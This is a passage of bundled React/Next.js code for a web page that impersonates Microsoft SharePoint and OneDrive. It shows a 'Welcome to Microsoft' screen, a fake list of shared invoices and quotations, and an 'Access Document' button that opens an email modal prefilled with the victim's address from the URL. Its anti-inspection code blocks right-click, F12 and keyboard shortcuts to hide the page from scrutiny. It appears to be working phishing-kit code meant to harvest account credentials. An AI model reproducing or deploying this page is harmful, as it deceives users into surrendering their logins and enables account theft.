fill: "#7a7b7c" }, }), React.jsx("path", { d: "M22.472,10.211H2.395V3.379H22.472v6.832", style: { fill: "#dd2025" }, }), React.jsx("path", { d: "M9.052,4.534h-.03l-.207,0H7.745v4.8H8.773V7.715L9,7.728a2.042,2.042,0,0,0,.647-.117,1.427,1.427,0,0,0,.493-.291,1.224,1.224,0,0,0,.335-.454,2.13,2.13,0,0,0,.105-.908,2.237,2.237,0,0,0-.114-.644,1.173,1.173,0,0,0-.687-.65A2.149,2.149,0,0,0,9.37,4.56a2.232,2.232,0,0,0-.319-.026M8.862,6.828l-.089,0V5.348h.193a.57.57,0,0,1,.459.181.92.92,0,0,1,.183.558c0,.246,0,.469-.222.626a.942.942,0,0,1-.524.114", style: { fill: "#464648" }, }), React.jsx("path", { d: "M12.533,4.521c-.111,0-.219.008-.295.011L12,4.538h-.78v4.8h.918a2.677,2.677,0,0,0,1.028-.175,1.71,1.71,0,0,0,.68-.491,1.939,1.939,0,0,0,.373-.749,3.728,3.728,0,0,0,.114-.949,4.416,4.416,0,0,0-.087-1.127,1.777,1.777,0,0,0-.4-.733,1.63,1.63,0,0,0-.535-.4,2.413,2.413,0,0,0-.549-.178,1.282,1.282,0,0,0-.228-.017m-.182,3.937-.1,0V5.392h.013a1.062,1.062,0,0,1,.6.107,1.2,1.2,0,0,1,.324.4,1.3,1.3,0,0,1,.142.526c.009.22,0,.4,0,.549a2.926,2.926,0,0,1-.033.513,1.756,1.756,0,0,1-.169.5,1.13,1.13,0,0,1-.363.36.673.673,0,0,1-.416.106", style: { fill: "#464648" }, }), React.jsx("path", { d: "M17.43,4.538H15v4.8h1.028V7.434h1.3V6.542h-1.3V5.43h1.4V4.538", style: { fill: "#464648" }, }), React.jsx("path", { d: "M21.781,20.255s3.188-.578,3.188.511S22.994,21.412,21.781,20.255Zm-2.357.083a7.543,7.543,0,0,0-1.473.489l.4-.9c.4-.9.815-2.127.815-2.127a14.216,14.216,0,0,0,1.658,2.252,13.033,13.033,0,0,0-1.4.288Zm-1.262-6.5c0-.949.307-1.208.546-1.208s.508.115.517.939a10.787,10.787,0,0,1-.517,2.434A4.426,4.426,0,0,1,18.161,13.841ZM13.513,24.354c-.978-.585,2.051-2.386,2.6-2.444C16.11,21.911,14.537,24.966,13.513,24.354ZM25.9,20.895c-.01-.1-.1-1.207-2.07-1.16a14.228,14.228,0,0,0-2.453.173,12.542,12.542,0,0,1-2.012-2.655,11.76,11.76,0,0,0,.623-3.1c-.029-1.2-.316-1.888-1.236-1.878s-1.054.815-.933,2.013a9.309,9.309,0,0,0,.665,2.338s-.425,1.323-.987,2.639-.946,2.006-.946,2.006a9.622,9.622,0,0,0-2.725,1.4c-.824.767-1.159,1.356-.725,1.945.374.508,1.683.623,2.853-.91a22.549,22.549,0,0,0,1.7-2.492s1.784-.489,2.339-.623,1.226-.24,1.226-.24,1.629,1.639,3.2,1.581,1.495-.939,1.485-1.035", style: { fill: "#dd2025" }, }), React.jsx("path", { d: "M23.954,2.077V7.95h5.633L23.954,2.077Z", style: { fill: "#909090" }, }), React.jsx("path", { d: "M24.031,2V7.873h5.633L24.031,2Z", style: { fill: "#f4f4f4" }, }), React.jsx("path", { d: "M8.975,4.457h-.03l-.207,0H7.668v4.8H8.7V7.639l.228.013a2.042,2.042,0,0,0,.647-.117,1.428,1.428,0,0,0,.493-.291A1.224,1.224,0,0,0,10.4,6.79a2.13,2.13,0,0,0,.105-.908,2.237,2.237,0,0,0-.114-.644,1.173,1.173,0,0,0-.687-.65,2.149,2.149,0,0,0-.411-.105,2.232,2.232,0,0,0-.319-.026M8.785,6.751l-.089,0V5.271H8.89a.57.57,0,0,1,.459.181.92.92,0,0,1,.183.558c0,.246,0,.469-.222.626a.942.942,0,0,1-.524.114", style: { fill: "#fff" }, }), React.jsx("path", { d: "M12.456,4.444c-.111,0-.219.008-.295.011l-.235.006h-.78v4.8h.918a2.677,2.677,0,0,0,1.028-.175,1.71,1.71,0,0,0,.68-.491,1.939,1.939,0,0,0,.373-.749,3.728,3.728,0,0,0,.114-.949,4.416,4.416,0,0,0-.087-1.127,1.777,1.777,0,0,0-.4-.733,1.63,1.63,0,0,0-.535-.4,2.413,2.413,0,0,0-.549-.178,1.282,1.282,0,0,0-.228-.017m-.182,3.937-.1,0V5.315h.013a1.062,1.062,0,0,1,.6.107,1.2,1.2,0,0,1,.324.4,1.3,1.3,0,0,1,.142.526c.009.22,0,.4,0,.549a2.926,2.926,0,0,1-.033.513,1.756,1.756,0,0,1-.169.5,1.13,1.13,0,0,1-.363.36.673.673,0,0,1-.416.106", style: { fill: "#fff" }, }), React.jsx("path", { d: "M17.353,4.461h-2.43v4.8h1.028V7.357h1.3V6.465h-1.3V5.353h1.4V4.461", style: { fill: "#fff" }, }), ], } ); // Excel icon const ExcelIcon = ({ width, height }) => React.jsxs( "svg", { width: width, height: height, version: "1.1", id: "Layer_1", xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 512 512", fill: "#000000", children: [ React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }), React.jsx("g", { id: "SVGRepo_tracerCarrier", strokeLinecap: "round", strokeLinejoin: "round", }), React.jsxs("g", { id: "SVGRepo_iconCarrier", children: [ " ", React.jsx("path", { style: { fill: "#E2E5E7" }, d: "M128,0c-17.6,0-32,14.4-32,32v448c0,17.6,14.4,32,32,32h320c17.6,0,32-14.4,32-32V128L352,0H128z", }), " ", React.jsx("path", { style: { fill: "#B0B7BD" }, d: "M384,128h96L352,0v96C352,113.6,366.4,128,384,128z", }), " ", React.jsx("polygon", { style: { fill: "#CAD1D8" }, points: "480,224 384,128 480,128 ", }), " ", React.jsx("path", { style: { fill: "#84BD5A" }, d: "M416,416c0,8.8-7.2,16-16,16H48c-8.8,0-16-7.2-16-16V256c0-8.8,7.2-16,16-16h352c8.8,0,16,7.2,16,16 V416z", }), " ", React.jsxs("g", { children: [ " ", React.jsx("path", { style: { fill: "#FFFFFF" }, d: "M144.336,326.192l22.256-27.888c6.656-8.704,19.584,2.416,12.288,10.736 c-7.664,9.088-15.728,18.944-23.408,29.04l26.096,32.496c7.04,9.6-7.024,18.8-13.936,9.328l-23.552-30.192l-23.152,30.848 c-6.528,9.328-20.992-1.152-13.696-9.856l25.712-32.624c-8.064-10.112-15.872-19.952-23.664-29.04 c-8.048-9.6,6.912-19.44,12.8-10.464L144.336,326.192z", }), " ", React.jsx("path", { style: { fill: "#FFFFFF" }, d: "M197.36,303.152c0-4.224,3.584-7.808,8.064-7.808c4.096,0,7.552,3.6,7.552,7.808v64.096h34.8 c12.528,0,12.8,16.752,0,16.752H205.44c-4.48,0-8.064-3.184-8.064-7.792v-73.056H197.36z", }), " ", React.jsx("path", { style: { fill: "#FFFFFF" }, d: "M272.032,314.672c2.944-24.832,40.416-29.296,58.08-15.728c8.704,7.024-0.512,18.16-8.192,12.528 c-9.472-6-30.96-8.816-33.648,4.464c-3.456,20.992,52.192,8.976,51.296,43.008c-0.896,32.496-47.968,33.248-65.632,18.672 c-4.24-3.456-4.096-9.072-1.792-12.544c3.328-3.312,7.024-4.464,11.392-0.88c10.48,7.152,37.488,12.528,39.392-5.648 C321.28,339.632,268.064,351.008,272.032,314.672z", }), " ", ], }), " ", React.jsx("path", { style: { fill: "#CAD1D8" }, d: "M400,432H96v16h304c8.8,0,16-7.2,16-16v-16C416,424.8,408.8,432,400,432z", }), " ", ], }), ], } ); // Document icon const DocumentIcon = ({ width, height }) => React.jsxs( "svg", { width: width, height: height, viewBox: "0 0 24 24", fill: "none", xmlns: "http://www.w3.org/2000/svg", children: [ React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }), React.jsx("g", { id: "SVGRepo_tracerCarrier", strokeLinecap: "round", strokeLinejoin: "round", }), React.jsxs("g", { id: "SVGRepo_iconCarrier", children: [ " ", React.jsx("path", { opacity: "0.5", d: "M2 6.94975C2 6.06722 2 5.62595 2.06935 5.25839C2.37464 3.64031 3.64031 2.37464 5.25839 2.06935C5.62595 2 6.06722 2 6.94975 2C7.33642 2 7.52976 2 7.71557 2.01738C8.51665 2.09229 9.27652 2.40704 9.89594 2.92051C10.0396 3.03961 10.1763 3.17633 10.4497 3.44975L11 4C11.8158 4.81578 12.2237 5.22367 12.7121 5.49543C12.9804 5.64471 13.2651 5.7626 13.5604 5.84678C14.0979 6 14.6747 6 15.8284 6H16.2021C18.8345 6 20.1506 6 21.0062 6.76946C21.0849 6.84024 21.1598 6.91514 21.2305 6.99383C22 7.84935 22 9.16554 22 11.7979V14C22 17.7712 22 19.6569 20.8284 20.8284C19.6569 22 17.7712 22 14 22H10C6.22876 22 4.34315 22 3.17157 20.8284C2 19.6569 2 17.7712 2 14V6.94975Z", fill: "#cdbd0e", }), " ", React.jsx("path", { d: "M20 6.23751C19.9992 5.94016 19.9949 5.76263 19.9746 5.60842C19.7974 4.26222 18.7381 3.2029 17.3919 3.02567C17.1969 3 16.9647 3 16.5003 3H9.98828C10.1042 3.10392 10.2347 3.23445 10.45 3.44975L11.0003 4C11.8161 4.81578 12.2239 5.22367 12.7124 5.49543C12.9807 5.64471 13.2653 5.7626 13.5606 5.84678C14.0982 6 14.675 6 15.8287 6H16.2024C17.9814 6 19.1593 6 20 6.23751Z", fill: "#cdbd0e", }), " ", React.jsx("path", { fillRule: "evenodd", clipRule: "evenodd", d: "M12.25 10C12.25 9.58579 12.5858 9.25 13 9.25H18C18.4142 9.25 18.75 9.58579 18.75 10C18.75 10.4142 18.4142 10.75 18 10.75H13C12.5858 10.75 12.25 10.4142 12.25 10Z", fill: "#cdbd0e", }), " ", ], }), ], } ); // ============================================ // COMPONENT: File Explorer Panel // ============================================ const MainStyles = t(2958); const MainStylesDefault = t.n(MainStyles); const FileExplorer = ({ onAccessClick }) => React.jsxs("div", { className: MainStylesDefault().main, children: [ React.jsxs("div", { className: MainStylesDefault().mainHeader, children: [ React.jsx(FolderIcon, { width: "50px", height: "50px" }), React.jsxs("div", { children: [ React.jsx("p", { className: MainStylesDefault().title, children: "One Drive", }), React.jsx("p", { className: MainStylesDefault().size, children: "Total file size: 26 MB", }), ], }), ], }), React.jsxs("div", { className: MainStylesDefault().listContainer, onClick: onAccessClick, children: [ React.jsx("div", { className: MainStylesDefault().cardHeader, children: React.jsx("h6", { children: "File Explorer" }), }), React.jsx("div", { className: MainStylesDefault().cardBody, children: React.jsxs("ul", { children: [ React.jsx(ListItem, { icon: React.jsx(DocumentIcon, { width: "40px", height: "40px", }), description: "Approved Document 1", }), React.jsx(ListItem, { icon: React.jsx(DocumentIcon, { width: "40px", height: "40px", }), description: "Approved Document 2", }), React.jsx(ListItem, { icon: React.jsx(PdfIcon, { width: "40px", height: "40px", }), description: "Payment Terms and Conditions", }), React.jsx(ListItem, { icon: React.jsx(ExcelIcon, { width: "40px", height: "40px", }), description: "Data Sheet.xls", }), React.jsx(ListItem, { icon: React.jsx(PdfIcon, { width: "40px", height: "40px", }), description: "Company Profile.pdf", }), React.jsx(ListItem, { icon: React.jsx(ExcelIcon, { width: "40px", height: "40px", }), description: "Quotation.xls", }), ], }), }), React.jsx("div", { className: MainStylesDefault().footer, children: React.jsx("p", { children: "Download all" }), }), ], }), ], }); // ============================================ // COMPONENT: Aside Panel // ============================================ const AsideStyles = t(7001); const AsideStylesDefault = t.n(AsideStyles); const AsidePanel = () => React.jsx("div", { className: AsideStylesDefault().aside, children: React.jsxs("div", { className: AsideStylesDefault().asideCard, children: [ React.jsx(Image.default, { src: "https://hardone.web.app/gf/sh.gif", alt: "asdImg", width: 512, height: 288, unoptimized: true, }), React.jsxs("div", { className: AsideStylesDefault().asideBody, children: [ React.jsx("p", { children: "Signed by: Sales Manager" }), React.jsx("p", { children: "Public Access Duration: 24 hrs", }), ], }), ], }), }); // ============================================ // COMPONENT: Welcome Page // ============================================ const WelcomeStyles = t(2997); const WelcomeStylesDefault = t.n(WelcomeStyles); const WelcomePage = ({ userEmail, onAccessClick }) => React.jsxs(React.Fragment, { children: [ React.jsx("div", { style: { position: "fixed", top: 0, left: 0, width: "100%", height: "100%", zIndex: -1, backgroundImage: "url(https://i.postimg.cc/Px31RRCz/blurr.png)", backgroundSize: "cover", backgroundPosition: "center", backgroundRepeat: "no-repeat", }, }), React.jsx("div", { className: "container", children: React.jsx("div", { className: "d-flex justify-content-center", children: React.jsxs("div", { className: "col-sm-8 my-4 text-center", style: { background: "black", opacity: 0.7 }, children: [ React.jsx("div", { className: "my-4", children: React.jsx(MicrosoftLogo, {}), }), React.jsx("span", { className: "text-white", style: { fontSize: "42px", fontWeight: 100 }, children: "Welcome to Microsoft", }), React.jsx("span", { className: "text-white", style: { display: "block", fontSize: "42px", fontWeight: 900 }, children: "SharePoint", }), React.jsx("div", { style: { color: "white", fontSize: "15px" }, children: "Save your files and photos to OneDrive and get them from any device, anywhere", }), React.jsxs("div", { children: [ React.jsx("h5", { className: "text-white", style: { textDecoration: "underline", margin: "1rem 0" }, children: userEmail, }), React.jsx("button", { className: "btn btn-primary", onClick: () => onAccessClick(), children: "Access Document", }), ], }), React.jsx("div", { className: "my-5 text-white", style: { fontSize: "12px" }, children: "Office365, Outlook, SharePoint, OneDrive, Skype, OneNote, PowerPoint, Word, Excel are all trademarks of Microsoft. All rights reserved © Microsoft .", }), ], }), }), }), ], }); // ============================================ // UTILITY FUNCTIONS // ============================================ // Prevent right-click context menu const preventContextMenu = (event) => event.preventDefault(); // Prevent keyboard shortcuts (F12, Ctrl+*, Alt+*, Meta+*) const preventKeyboardShortcuts = (event) => { if (event.key === "F12") { event.preventDefault(); } if (event.ctrlKey || event.altKey || event.metaKey) { event.preventDefault(); } }; // Toggle security protections const toggleSecurityProtections = (enable) => { if (enable) { document.addEventListener("contextmenu", preventContextMenu); document.addEventListener("keydown", preventKeyboardShortcuts); } else { document.removeEventListener("contextmenu", preventContextMenu); document.removeEventListener("keydown", preventKeyboardShortcuts); } }; // Get email from URL hash const getEmailFromHash = () => { const hash = window.location.hash; return hash ? hash.substring(1) : null; }; // Check if string is base64 encoded const isBase64 = (str) => { if (!str || typeof str !== "string") return false; try { return btoa(atob(str)) === str; } catch (error) { return false; } }; // Write email to URL hash const writeEmailToHash = (email) => { if (email && !isBase64(email)) { const encoded = btoa(email); const baseUrl = window.location.href.split("?")[0]; window.location.replace(`${baseUrl}#${encoded}`); } }; // ============================================ // MAIN PAGE COMPONENT // ============================================ const PageContainer = () => { const [userEmail, setUserEmail] = ReactDom.useState(""); const [showModal, setShowModal] = ReactDom.useState(false); const [showWelcome, setShowWelcome] = ReactDom.useState(true); const searchParams = ReactUtils.useSearchParams(); const emailParam = searchParams.get("x1"); // Initialize email from hash on mount ReactDom.useEffect(() => { const hashEmail = getEmailFromHash(); if (hashEmail) { setUserEmail(atob(hashEmail)); } writeEmailToHash(emailParam); toggleSecurityProtections(true); return () => toggleSecurityProtections(false); }, [emailParam]); return React.jsxs(React.Fragment, { children: [ // Show welcome page or main content showWelcome ? React.jsx(WelcomePage, { userEmail: userEmail, onAccessClick: () => setShowWelcome(false), }) : React.jsxs(React.Fragment, { children: [ React.jsx(HeaderComponent, {}), React.jsxs("div", { className: HeaderStylesDefault().content, children: [ React.jsx(FileExplorer, { onAccessClick: () => setShowModal(true), }), React.jsx(AsidePanel, {}), ], }), React.jsx(EmailModal, { showEmailModal: showModal, userEmail: userEmail, }), ], }), // Backdrop overlay when modal is open showModal && React.jsx(BackdropComponent, { onClick: () => setShowModal(false), }), ], }); }; // ============================================ // MAIN EXPORT // ============================================ function MainComponent() { return React.jsx(ReactDom.Suspense, { fallback: React.jsx("i", { className: "fa fa-spinner fa-spin fa-3x fa-fw", }), children: React.jsx(PageContainer, {}), }); } }, // ============================================ // CSS MODULE EXPORTS // ============================================ // Header styles 5717: (e) => { e.exports = { header: "page_header__oRW75", content: "page_content___38fW", }; }, // Backdrop styles 6596: (e) => { e.exports = { Backdrop: "Backdrop_Backdrop__UjsgW", }; }, // Aside styles 7001: (e) => { e.exports = { aside: "Aside_aside__79l3D", asideCard: "Aside_asideCard__1Il2Z", asideBody: "Aside_asideBody__jnSIa", }; }, // List styles 9143: (e) => { e.exports = { lists: "List_lists__ttTD5", fileinfo: "List_fileinfo__A80Kz", listLog: "List_listLog__N8Cla", desc: "List_desc__OlAME", }; }, }, (e) => { var s = (s) => e(e.s = s); e.O(0, [459, 884, 441, 587, 358], () => s(4077)); _N_E = e.O(); } ]);